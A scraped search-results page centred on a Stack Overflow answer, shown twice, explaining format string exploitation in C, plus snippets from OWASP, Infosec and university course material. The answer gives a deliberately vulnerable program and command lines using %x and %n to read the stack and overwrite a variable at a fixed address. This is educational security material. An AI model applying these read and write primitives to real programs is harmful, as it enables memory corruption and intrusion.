You may be able to exploit a format string vulnerability in many ways, directly or indirectly. Let's use the following as an example (assuming no relevant OS protections, which is very rare anyways):

int main(int argc, char **argv)
{
    char text[1024];
    static int some_value = -72;

    strcpy(text, argv[1]); /* ignore the buffer overflow here */

    printf("This is how you print correctly:\n");
    printf("%s", text);
    printf("This is how not to print:\n");
    printf(text);

    printf("some_value @ 0x%08x = %d [0x%08x]", &some_value, some_value, some_value);
    return(0);
}

The basis of this vulnerability is the behaviour of functions with variable arguments. A function which implements handling of a variable number of parameters has to read them from the stack, essentially. If we specify a format string that will make printf() expect two integers on the stack, and we provide only one parameter, the second one will have to be something else on the stack. By extension, and if we have control over the format string, we can have the two most fundamental primitives:


Reading from arbitrary memory addresses

[EDIT] IMPORTANT: I'm making some assumptions about the stack frame layout here. You can ignore them if you understand the basic premise behind the vulnerability, and they vary across OS, platform, program and configuration anyways.

It's possible to use the %s format parameter to read data. You can read the data of the original format string in printf(text), hence you can use it to read anything off the stack:

./vulnerable AAAA%08x.%08x.%08x.%08x
This is how you print correctly:
AAAA%08x.%08x.%08x.%08x
This is how not to print:
AAAA.XXXXXXXX.XXXXXXXX.XXXXXXXX.41414141
some_value @ 0x08049794 = -72 [0xffffffb8]

Writing to arbitrary memory addresses

You can use the %n format specifier to write to an arbitrary address (almost). Again, let's assume our vulnerable program above, and let's try changing the value of some_value, which is located at 0x08049794, as seen above:

./vulnerable $(printf "\x94\x97\x04\x08")%08x.%08x.%08x.%n
This is how you print correctly:
??%08x.%08x.%08x.%n
This is how not to print:
??XXXXXXXX.XXXXXXXX.XXXXXXXX.
some_value @ 0x08049794 = 31 [0x0000001f]

We've overwritten some_value with the number of bytes written before the %n specifier was encountered (man printf). We can use the format string itself, or field width to control this value:

./vulnerable $(printf "\x94\x97\x04\x08")%x%x%x%n
This is how you print correctly:
??%x%x%x%n
This is how not to print:
??XXXXXXXXXXXXXXXXXXXXXXXX
some_value @ 0x08049794 = 21 [0x00000015]

There are many possibilities and tricks to try (direct parameter access, large field width making wrap-around possible, building your own primitives), and this just touches the tip of the iceberg. I would suggest reading more articles on fmt string vulnerabilities (Phrack has some mostly excellent ones, although they may be a little advanced) or a book which touches on the subject.


Disclaimer: the examples are taken [although not verbatim] from the book Hacking: The art of exploitation (2nd ed) by Jon Erickson.

Answer from Michael F on Stack Overflow
🌐
Syracuse University
surface.syr.edu › cgi › viewcontent.cgi pdf
Buffer Overflow and Format String Overflow Vulnerabilities
BUFFER OVERFLOW AND FORMAT STRING OVERFLOW VULNERABILITIES ... Figure 20. A program vulnerable to the indirect return address exploit and the indirect exit handler ... of system so that when printf(“print some string”) is called, system(“print some string”) is · called instead (Figure 23). For this exploit we need to create a shell script file named “print” · in the current working directory, which performs the actual attack.
🌐
Infosec Institute
resources.infosecinstitute.com › topic › buffer-overflow-format-string-attacks-basics-part-2
Buffer overflow & format string attacks: More basics | Infosec
August 6, 2015 - After this attacker enters %d, this means to print a decimal integer but what integer will it print. Look at the above stack diagram and the next value in the stack after input is of integer 'a' which is set to 1, so now there are total of five characters in the buffer (4 ASCII+ 1 decimal). So the stack will become like this · After this, the next thing that comes in the input is '%n' and as stated earlier this format string is used to store the number of characters, which in this case is 5, and write it in the memory of the next argument.
🌐
Infosec Institute
resources.infosecinstitute.com › topic › buffer-overflow-format-string-attacks-basics-part-1
Buffer overflow and format string attacks: the basics | Infosec
July 30, 2015 - The control will shift to the calling function after the subroutine call is finished. ... In this case what happens is that the user-supplied input is not properly handled by the function and under the buffer flow. The attacker usually sends machine-specific bytecode, such as /bin/sh in this ...
🌐
Fortify
vulncat.fortify.com › en › detail
Software Security | Buffer Overflow: Format String
Security problems result from trusting input. The issues include: "Buffer Overflows," "Cross-Site Scripting" attacks, "SQL Injection," and many others. ... The program uses an improperly bounded format string, allowing it to write outside the bounds of allocated memory.
🌐
SecureCoding
securecoding.com › home › blog › all you need to know about format string vulnerabilities
Format String Vulnerabilities Explained | SecureCoding.com
January 13, 2021 - In buffer overflow, the programmer ... to adjacent memory locations. But in format string exploits, user-supplied input is included in the format string argument....
🌐
Buffer Overflows
bufferoverflows.net › home › format string vulnerability: what, when and how?
Format String Vulnerability: What, When and How? | Buffer Overflows
May 9, 2019 - Most of the time hackers combine format string vulnerability with other vulnerabilities to bypass mitigations like ASLR. Say we have stack buffer overflow bug in a program but it has ASLR enabled and we found a format string bug also, then we ...
Find elsewhere
🌐
Stanford Cryptography
crypto.stanford.edu › cs155old › cs155-spring03 › lecture3.pdf pdf
1 1 Buffer Overflow Attacks and Format String bugs 2 Extremely common bug.
Buffer Overflow Attacks · and Format String bugs · 2 · Extremely common bug. • First major exploit: 1988 Internet Worm. fingerd. 10 years later: over 50% of all CERT advisories: • 1997: 16 out of 28 CERT advisories. • 1998: 9 out of 13 -”- • 1999: 6 out of 12 -”- Often leads to total compromise of host.
Top answer
1 of 6
98

You may be able to exploit a format string vulnerability in many ways, directly or indirectly. Let's use the following as an example (assuming no relevant OS protections, which is very rare anyways):

int main(int argc, char **argv)
{
    char text[1024];
    static int some_value = -72;

    strcpy(text, argv[1]); /* ignore the buffer overflow here */

    printf("This is how you print correctly:\n");
    printf("%s", text);
    printf("This is how not to print:\n");
    printf(text);

    printf("some_value @ 0x%08x = %d [0x%08x]", &some_value, some_value, some_value);
    return(0);
}

The basis of this vulnerability is the behaviour of functions with variable arguments. A function which implements handling of a variable number of parameters has to read them from the stack, essentially. If we specify a format string that will make printf() expect two integers on the stack, and we provide only one parameter, the second one will have to be something else on the stack. By extension, and if we have control over the format string, we can have the two most fundamental primitives:


Reading from arbitrary memory addresses

[EDIT] IMPORTANT: I'm making some assumptions about the stack frame layout here. You can ignore them if you understand the basic premise behind the vulnerability, and they vary across OS, platform, program and configuration anyways.

It's possible to use the %s format parameter to read data. You can read the data of the original format string in printf(text), hence you can use it to read anything off the stack:

./vulnerable AAAA%08x.%08x.%08x.%08x
This is how you print correctly:
AAAA%08x.%08x.%08x.%08x
This is how not to print:
AAAA.XXXXXXXX.XXXXXXXX.XXXXXXXX.41414141
some_value @ 0x08049794 = -72 [0xffffffb8]

Writing to arbitrary memory addresses

You can use the %n format specifier to write to an arbitrary address (almost). Again, let's assume our vulnerable program above, and let's try changing the value of some_value, which is located at 0x08049794, as seen above:

./vulnerable $(printf "\x94\x97\x04\x08")%08x.%08x.%08x.%n
This is how you print correctly:
??%08x.%08x.%08x.%n
This is how not to print:
??XXXXXXXX.XXXXXXXX.XXXXXXXX.
some_value @ 0x08049794 = 31 [0x0000001f]

We've overwritten some_value with the number of bytes written before the %n specifier was encountered (man printf). We can use the format string itself, or field width to control this value:

./vulnerable $(printf "\x94\x97\x04\x08")%x%x%x%n
This is how you print correctly:
??%x%x%x%n
This is how not to print:
??XXXXXXXXXXXXXXXXXXXXXXXX
some_value @ 0x08049794 = 21 [0x00000015]

There are many possibilities and tricks to try (direct parameter access, large field width making wrap-around possible, building your own primitives), and this just touches the tip of the iceberg. I would suggest reading more articles on fmt string vulnerabilities (Phrack has some mostly excellent ones, although they may be a little advanced) or a book which touches on the subject.


Disclaimer: the examples are taken [although not verbatim] from the book Hacking: The art of exploitation (2nd ed) by Jon Erickson.

2 of 6
21

It is interesting that no-one has mentioned the n$ notation supported by POSIX. If you can control the format string as the attacker, you can use notations such as:

"%200$p"

to read the 200th item on the stack (if there is one). The intention is that you should list all the n$ numbers from 1 to the maximum, and it provides a way of resequencing how the parameters appear in a format string, which is handy when dealing with I18N (L10N, G11N, M18N*).

However, some (probably most) systems are somewhat lackadaisical about how they validate the n$ values and this can lead to abuse by attackers who can control the format string. Combined with the %n format specifier, this can lead to writing at pointer locations.


* The acronyms I18N, L10N, G11N and M18N are for internationalization, localization, globalization, and multinationalization respectively. The number represents the number of omitted letters.

🌐
OWASP Foundation
owasp.org › www-community › attacks › Format_string_attack
Format string attack | OWASP Foundation
The printf in the second line will interpret the %s%s%s%s%s%s in the input string as a reference to string pointers, so it will try to interpret every %s as a pointer to a string, starting from the location of the buffer (probably on the Stack). At some point, it will get to an invalid address, and attempting to access it will cause the program to crash. An attacker can also use this to get information, not just crash the software.
🌐
ACM Digital Library
dl.acm.org › doi › abs › 10.1002 › spe.515
Buffer overflow and format string overflow vulnerabilities | Software
Numerous incidents of buffer overflow attacks have been reported and many solutions have been proposed, but a solution that is both complete and highly practical is yet to be found. Another kind of vulnerability called format string overflow has recently been found and although not as widespread ...
🌐
ResearchGate
researchgate.net › publication › 47329636_Buffer_Overflow_and_Format_String_Overflow_Vulnerabilities
Buffer Overflow and Format String Overflow Vulnerabilities | Request PDF
April 25, 2003 - This article surveys representative techniques of exploiting buffer overflow and format string overflow vulnerabilities and their currently available defensive measures. We also describe our buffer overflow detection technique that range checks the referenced buffers at run-time.
🌐
Kayssel
kayssel.com › post › format-string-and-buffer-overflow
Mastering Binary Exploitation: Unleashing the Power of Format String and Buffer Overflow
January 8, 2024 - ... Our primary goal with this ... The most straightforward tactic might seem to be a buffer overflow attack to alter the return address....
🌐
Invicti
invicti.com › blog › web-security › format-string-vulnerabilities
What Are Format String Vulnerabilities?
By crafting format strings that contain a specific number of bytes, attackers can read memory from arbitrary addresses. This is already a critical buffer overread vulnerability that can be used to extract information and prepare other attacks ...
🌐
ProSec
prosec-networks.com › en › blog › buffer-overflow-angriff
What is a buffer overflow attack? | ProSec GmbH
If an attacker has the opportunity to partially or completely determine the contents of the format string, he can trigger a buffer overflow.
🌐
OWASP Foundation
owasp.org › www-project-web-security-testing-guide › v41 › 4-Web_Application_Security_Testing › 07-Input_Validation_Testing › 13.3-Testing_for_Format_String
Testing for format string vulnerability
If server-side code concatenates a user’s input with a format string, an attacker can append additional conversion specifiers to cause a runtime error, information disclosure, or buffer overflow.
🌐
Stanford
cs155.stanford.edu › papers › formatstring-1.2.pdf pdf
Exploiting Format String Vulnerabilities scut / team teso September 1, 2001
September 1, 2001 - we can extend its length by abusing format string parameters. Since the · second sprintf is not checking the length, this can be used to break out · of the boundaries of outbuf. Now we write a return address (0xbfffd33c) and exploit it just the old known way, as we would do it with any buffer ...
🌐
Carnegie Mellon
users.ece.cmu.edu › ~dbrumley › courses › 18487-f13 › powerpoint › 03-controlflow-attack.pdf pdf
Exploits Buffer Overflows and Format String Attacks David Brumley
Buffer Overflows and Format String Attacks · David Brumley · Carnegie Mellon University · You will find · at least one error · on each set of slides. :) 2 · Black · format c: White · vs. 3 · An Epic Battle · Black · format c: White · Bug · 4 · Find Exploitable Bugs ·